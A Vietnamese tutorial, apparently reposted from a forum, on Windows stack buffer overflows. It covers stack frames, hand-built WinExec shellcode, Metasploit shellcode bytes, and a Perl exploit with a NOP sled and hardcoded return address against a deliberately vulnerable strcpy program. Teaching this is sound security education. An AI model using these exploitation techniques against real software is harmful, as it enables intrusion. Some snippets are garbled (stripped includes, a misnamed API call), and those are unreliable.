Trao đổi với tôi

http://www.buidao.com

10/16/09

[Hacking] Tìm hiểu lỗi Buffer Overflow trên Windows

Author: seamoun
Dowload tut PDF: http://www.mediafire.com/?gzknmzzyzjj

Link: http://www.hvaonline.net/hvaonline/posts/list/26195.hva

I. CHƯƠNG TRÌNH KHI NẠP TRONG BỘ NHỚ
Khi những tiến trình được nạp đến bộ nhớ, chúng chia thành 6 phân đoạn như sau:
1) Phân đoạn .text
Phân đoạn này tương ứng là phần của file thực thi nhị phân. Nó chứa các chỉ thị lệnh (mã máy) để thực hiện các tác vụ của chương trình. Phân đoạn này được đánh dấu là chỉ đọc và sẽ gây ra lỗi nếu như ghi trên phân đoạn này. Kích thước là cố định tại lúc thực thi khi tiến trình lần đầu tiên được nạp.
2) Phân đoạn .data
Là phân đoạn được sử dụng để lưu trữ các biến toàn cục và có khởi tạo giá trị ban đầu như là: int a=0;
Kích thước này cũng có định tại lúc thực thi chương trình
3) Phân đoạn .bss
Below stack section (.bss) là được sử dụng để lưu trữ các biến toàn cục nhưng không có khởi tạo giá trị ban đâu như là : int a;
Kích thước của phân đoạn này cũng cố định lúc thực thi chương trình.
4) Phân đoạn Heap
Phân đoạn này được sử dụng để cấp phát các biến động và phát triển từ vùng địa chỉ thấp đến vùng địa chỉ cao trong bộ nhớ. Trong ngôn ngữ C thì việc cấp phát và giải phóng được thực hiện qua hai hàm malloc() và free(). Ví dụ:
int i = malloc(sizeof (int));
5) Phân đoạn Stack
Phân đoạn stack có tác dụng giữ những lời gọi hàm trong thủ tục đệ quy và phát triển theo địa chỉ vùng nhớ cao đến địa chỉ vùng nhớ thấp trên hầu hết các hệ thống.
6) Phân đoạn biến môi trường và đối số
Phân đoạn này lưu trữ một bản sao chép các biến cấp độ hệ thống mà có thể được yêu cầu bởi tiến trình trung quá trình thực thi. Phân đoạn này có khả năng ghi được.




Ví dụ một đoạn chương trình
Code:
/* memory.c */ // this comment simply holds the program name
int index = 5; // giá trị này được lưu tại phân đoạn data bởi vì nó có giá trị khởi tạo.

char * str; // giá trị này được lưu tại phân đoạn bss vì nó không có giá trị khởi tạo ban đầu.

void funct1(int c){ // bracket starts function1 block
int i=c; // được lưu trong phân đoạn stack.

str = (char*) malloc (10 * sizeof (char)); // Dành 10 ký tự trong vùng nhớ Heap.
strncpy(str, "abcde", 5); //copies 5 characters "abcde" into str
} //end of function1
void main (){ //the required main function
funct1(1); //main calls function1 with an argument
} //end of the main function

II. GIẢI THÍCH CƠ CHẾ LÀM VIỆC CỦA NGĂN XẾP (STACK)
1) Cho đoạn chương trình sau:
Code:
int f(int a,int b,int c);
int main()
{
f(1,2,3);
return 0;
}
int f(int a,int b,int c)
{
int i;
char buf[3];
i=5;
buf[0]='A';
buf[1]='B';
buf[2]='C';
return (a+i);
}


2) Mã Assembly của hai hàm trên như sau:





3) Giải thích mã Assembly của chương trình
Khi hệ thống chuyển điều khiển cho chương trình nó sẽ lưu địa chỉ trở về như sau
push ebp
mov ebp,esp
Khi gọi hàm f(1,2,3) với ba đối số kiểu int thì các bước chuẩn bị để gọi hàm như sau
a) Đẩy các tham số của hàm vào stack theo thứ tự sau
push 3
push 2
push 1
- Tại sao nó lại đẩy theo thứ tự như vậy, bởi vì cơ chế làm việc của stack là vào sau ra trước. Như vậy khi push các tham số như trên sẽ đúng thứ tự của tham số khi gọi hàm
b) Gọi hàm
call f
- Khi gọi hàm f thì địa chỉ câu lệnh tiếp theo của lệnh gọi hàm f sẽ được đẩy vào stack và quyền điều khiển lúc này được trao cho hàm f()
c) Quá trình thực thi hàm f() như sau
- Đầu tiên ebp được đẩy vào stack, lúc này esp trỏ đến địa chỉ cũ của ebp. Tiếp đến ebp được gán bởi esp. Như vậy là esp, và ebp đều trỏ đến địa chỉ cũ của ebp. Sau đó chương trình cấp phát vùng nhớ cho 4 biến cục bộ. Biến i (4 bytes) và 3 biến char mỗi biến là 1 byte. Tổng cộng là 7 bytes nhưng được làm tròn thành 8 bytes
push ebp
mov ebp, esp
sub esp, 8
- Sau đó các biến cục bộ được gán giá trị như sau. Đầu tiên là biến i tiếp đến là 3 kí tự
mov dword ptr [ebp-4], 5
mov byte ptr [ebp-8], 'A'
mov byte ptr [ebp-7], 'B'
mov byte ptr [ebp-6], 'C'

- EBP đang trỏ đến ô nhớ chứa giá trị EBP cũ. ESP sẽ được gán bằng EBP. Như vậy ESP đang trỏ đến ô nhớ chứa giá trị EBP cũ. Tiếp theo, lệnh pop sẽ lấy giá trị của EBP cũ vào EBP, ESP trỏ đến ô nhớ chứa địa chỉ trở về. Lệnh ret sẽ lấy địa chỉ trở về vào EIP và quyền điều khiển chương trình được chuyển giao cho hàm main(), ESP trỏ đến ô nhớ chứa tham số đầu tiên của hàm f().
mov esp,ebp
pop ebp
ret
- Qua đoạn quá trình thực thi của hàm f ta thấy được rằng là thanh ghi ebp dùng để tham chiếu các biến cục bộ và tham số của hàm của hàm f
Tham chiếu đến tham số: ebp+???
Tham chiếu đến biến cục bộ ebp-???
Lưu ý: Vùng stack làm việc từ vùng nhớ cao đến vùng nhớ thấp tức là thanh ghi esp được trỏ ở đỉnh của ngăn xếp cho nến quá trình cấp phát ô nhớ sẽ được thực hiện từ vùng nhớ cao đến vùng nhớ thấp. Mỗi lần được cấp phát thì địa chỉ esp sẽ giảm tương ứng với kiểu của biến.
Sơ đồ biểu diễn stack đối với chương trình trên như sau






4) Ghi đè lên địa chỉ trở về trong ngăn xếp
Ví dụ sau đây sẽ cho thấy cách ghi đè lên địa chỉ trở về trong ngăn xếp.
a) Ví dụ
Code:
#include 
void func2()
{
printf("Hello everybody !\n");
exit(1);
}
void func1()
{
int buf[1];
buf[2]=(int)func2;
}
void main()
{
func1();
}

Sau khi chạy chương trình nó sẽ xuất hiện trên màn hình là dòng chữ “Hello everybody”.
Hàm func2() đã ghi đè địa chỉ trở về của hàm func1, cho nên thực hiện func2 và thóat chương trình.
b) Giải thích
Trong hàm main chỉ gọi mỗi hàm func1() và quy trình làm khởi tạo và làm việc của hàm func1() giống các thao tác của hàm f() trên như đã giới thiệu phần trước.
- Đầu tiên đẩy (push) các đối số (Ở đây là không có đối số nào)
- Sau đó là đẩy (push) địa chỉ trở về vào ngăn xếp
- Đẩy giá trị ebp vào stack
- Cấp phát biến cục bộ cho hàm func1(Ở đây chỉ có một biến kiểu int )
Chú ý đến stack bây giờ có những gì trong đó có :
1) Địa chỉ trở về
2) Địa chỉ ebp cũ
3) Địa chỉ của biến buf mà ở đây là buf[0] (Mảng trong C được đánh số từ 0)
Như vậy buf[0] tức là biến cục bộ của hàm test_proc, buf[1] là địa chỉ của ebp cũ, buf[2] là địa chỉ trở về của hàm
Câu lệnh buf[2]=int func2 đã ghi đè địa chỉ trở về của hàm func1. Do đó đáng lẽ là hàm func1() sau khi thực thi xong sẽ quay về main nhưng địa chỉ trở về của nó đã bị ghi đè nên gọi tiếp hàm func2().





III. GIỚI THIỆU SHELLcode
1) Định nghĩa
Theo định nghĩa của wikipedia.org thì shellcode là “In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability”.
2) Cách tạo một shellcode
Ví dụ sau sẽ hướng dẫn cách tạo một shellcode với hàm WinExec.
Hàm WinExec là hàm thực thi một ứng dụng, với đối số đầu vào là tên file ứng dụng và cách hiển thị khi ứng dụng được thi thực thi (thực thi ứng dụng có thể ở dạng ẩn, bình thường, …).
Code:
Chi tiết về hàm WinExec
UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);

Chi tiết về hàm có thể tham khảo tại:
(http://msdn.microsoft.com/en-us/library/ms687393(VS.85).aspx)
Giả sử sử dụng hàm WinExec để thực thi calc.exe(Calculator trong Windows) với hàm WinExec. Khi viết bằng ngôn ngữ C thì nó sẽ như sau:
Code:
#include 
int main()
{
char fname[10]="calc";
WinExec(fname,1);
return 0;
}

Với cách gọi hàm WinExec như trên thì khi viết lại bằng ngôn ngữ Assembly for Windows thì dựa theo cách đã trình bày ở phần II được viết như sau:
Trước hết cần biết địa chỉ của hàm WinExec trong thư viện kernel32.dll.
Đoạn mã sau cho biết địa chỉ của một hàm trong một thư viện đã chỉ định
Code:
#include 
#include
int main(int argc,char *argv[])
{
if (argc<3)> \n",argv[0]);
printf("Vi du: %s kernel32.dll WinExec",argv[0]);
return 0;
}
HINSTANCE hDll;
hDll=LoadLibrary(argv[1]);
if (hDll!=0)
{
FARPROC fp;
fp=GetAddressProc(hDll,argv[2])
if (fp!=0)
printf("Dia chi cua ham %s la : 0x%x",argv[1],fp);
else
printf("Khong tim thay ham %s trong thu vien %s",argv[2],argv[1]);
}
}

Sau khi biên dịch và chạy đoạn chương trình trên với đối số là tên thư viện và hàm WinExec có kết quả hàm WinExec ở tại: 0x7c86114d (WindowsXp SP2) và hàm ExitProcess tại địa chỉ 0x7c81caa2 (WindowsXp SP2).
Đoạn mã Assembly như sau:
Code:
void main()
{
__asm{
xor eax,eax
push eax
sub esp,4
mov [ebp-8],'c'
mov [ebp-7],'a'
mov [ebp-6],'l'
mov [ebp-5],'c'
push eax
lea eax,[ebp-8]
push eax
mov eax,0x7c86114d
call eax
mov eax,0x7c81caa2
call eax
}
}

Khi biên dịch và chạy với mã Assembly trên thì không khác gì với việc hàm viết trong C. Nhưng ở đây được viết bằng Assembly for Windows. Sở dĩ phải viết hàm bằng ngôn ngữ Assembly vì cho phép nắm rõ cách tạo hàm và gọi hàm trong Assembly for Windows và lấy được mã máy khi sử dụng chương trình OllyDbg, sau đây là mã máy của đoạn Assembly trên.






Trên hình vẽ sẽ có được mã máy tương ứng với mã Assembly, bây giờ xây dựng shellcode và thực thi từ mã máy này như sau:
Code:
unsigned char scode[] =
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x50\x8D\x45\xF8\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\xB8\xA2\xCA\x81\x7C\xFF\xD0\x5D\xC3";
int main(int argc, char *argv[])
{
int *ret;
ret=(int *)&ret+2;// Ghi đè địa chỉ trở về của hàm main
(*ret)=(int)scode;// Giá trị của con trỏ ret trỏ đến là giá trị của biến scode
return 0;
}


Với cách trên hướng dẫn tự tạo shellcode riêng, tuy nhiên một site chuyên cung cấp các loại shellcode nổi tiếng cùng với framework của nó là metasploit.com. Tại đây có thể tìm thấy rất nhiều loại shellcode khác nhau. Với shellcode của hàm WinExec trên có thể tìm thấy tại
(http://www.metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec)
/* win32_exec - EXITFUNC=process CMD=calc size=160 Encoder=PexFnstenvSub http://metasploit.com */
Code:
unsigned char scode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0d"
"\x5a\x9f\x07\x83\xeb\xfc\xe2\xf4\xf1\xb2\xdb\x07\x0d\x5a\x14\x42"
"\x31\xd1\xe3\x02\x75\x5b\x70\x8c\x42\x42\x14\x58\x2d\x5b\x74\x4e"
"\x86\x6e\x14\x06\xe3\x6b\x5f\x9e\xa1\xde\x5f\x73\x0a\x9b\x55\x0a"
"\x0c\x98\x74\xf3\x36\x0e\xbb\x03\x78\xbf\x14\x58\x29\x5b\x74\x61"
"\x86\x56\xd4\x8c\x52\x46\x9e\xec\x86\x46\x14\x06\xe6\xd3\xc3\x23"
"\x09\x99\xae\xc7\x69\xd1\xdf\x37\x88\x9a\xe7\x0b\x86\x1a\x93\x8c"
"\x7d\x46\x32\x8c\x65\x52\x74\x0e\x86\xda\x2f\x07\x0d\x5a\x14\x6f"
"\x31\x05\xae\xf1\x6d\x0c\x16\xff\x8e\x9a\xe4\x57\x65\x24\x47\xe5"
"\x7e\x32\x07\xf9\x87\x54\xc8\xf8\xea\x39\xfe\x6b\x6e\x5a\x9f\x07";


III. LỖI TRÀN STACK (BUFFER OVERFLOW)
1) Giới thiệu
Lỗi tràn stack xuất hiện khi bộ đệm lưu trữ giữ liệu trong bộ nhớ không kiểm soát việc ghi giá trị trên nó, dẫn đến tràn stack và việc tràn stack này dẫn đến việc ghi đè địa chỉ trở về của hàm.
Để hiểu rõ về tràn stack như thế nào. Cho một ví dụ sau có lỗi tràn stack (buffer overflow)

Code:
//File vul.c
#include
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}

Nhiệm vụ của chương trình đơn giản là thực hiện nhận hai tham số và chuyển cho hàm getting(), tại hàm getting() có sử dụng một hàm strcpy có nhiệm vụ copy biến temp2 đến biến name. Tại đây biến name chỉ được cấp phát 400 byte. Do vậy nếu như biến temp2 không lớn hơn 400 thì không có việc gì xảy ra, ngược lại nếu như biến temp2 có giá trị lớn 400, thì nó sẽ lần lượt ghi đè lên địa chỉ EBP và EIP, vì sao nó lại ghi đè lên hai địa chỉ này thì như đã giới thiệu trong phần cách hoạt động của stack. Từ đây có thể khai thác lỗi tràn stack và lần lượt thực hiện viết các mã khai thác như sau:
Giả sử lần lượt đệ trình dữ liệu cho đối số đầu vào sử dụng Perl script như sau:
Code:
perl -e "exec 'vul',’Mr’,('A'x400)" Chương trình sẽ không xuất hiện lỗi.
perl -e "exec 'vul',’Mr’,('A'x404)" Xuất hiện lỗi do ghi đè lên địa chỉ của EBP.
perl -e "exec 'vul',’Mr’,('A'x408)" Xuất hiện lỗi do ghi đè lên địa chỉ của EIP.

2) Khai thác
Để khai thác lỗi tràn bộ đệm của chương trình, bộ đệm của chương trình sẽ được đổ “rác” với lệnh NOP (0x90 – lệnh không làm gì) và địa chỉ trở về EIP được ghi bởi địa chỉ của ESP.
Đoạn mã sau sẽ tìm địa chỉ ESP
Code:
get_sp() { __asm mov eax, esp }
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}

Khi chạy chương trình có được địa chỉ ESP: 0x12ff68 (WindowsXP SP2). Shellcode sử dụng ở đây là shellcode có chiều dài 164byte lấy từ metasploit. Như vậy từ địa chỉ ESP ta phải trừ đi 408 byte từ địa chỉ trở về (cấp phát cho biến name, phần EBP và EIP).
Sơ đồ của quá trình khai thác như sau:





Mã khai thác được viết bằng Perl để khai thác chương trình bị lỗi tràn bộ đệm như sau
Code:
# win32_exec - EXITFUNC=thread CMD=calc.exe size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload


IV. CÔNG CỤ VÀ TÀI LIỆU THAM KHẢO
1) Công cụ
- OllyDbg – http://www.ollydbg.de. Thanks hacknho với bản Ollydbg patched smilie smilie smilie
2) Tài liệu
- “Gray Hat Hacking, Second Edition” - Shon Harris, Allen Harper, Chris Eagle, and Jonathan Ness.
- Metasploit (http://metasploit.com).

Xong phần I !!! smilie smilie smilie smilie smilie . Phần II seamoun sẽ nói rõ hơn về cách khai thác và demo khai thác một ứng dụng bị lỗi buffer overflow.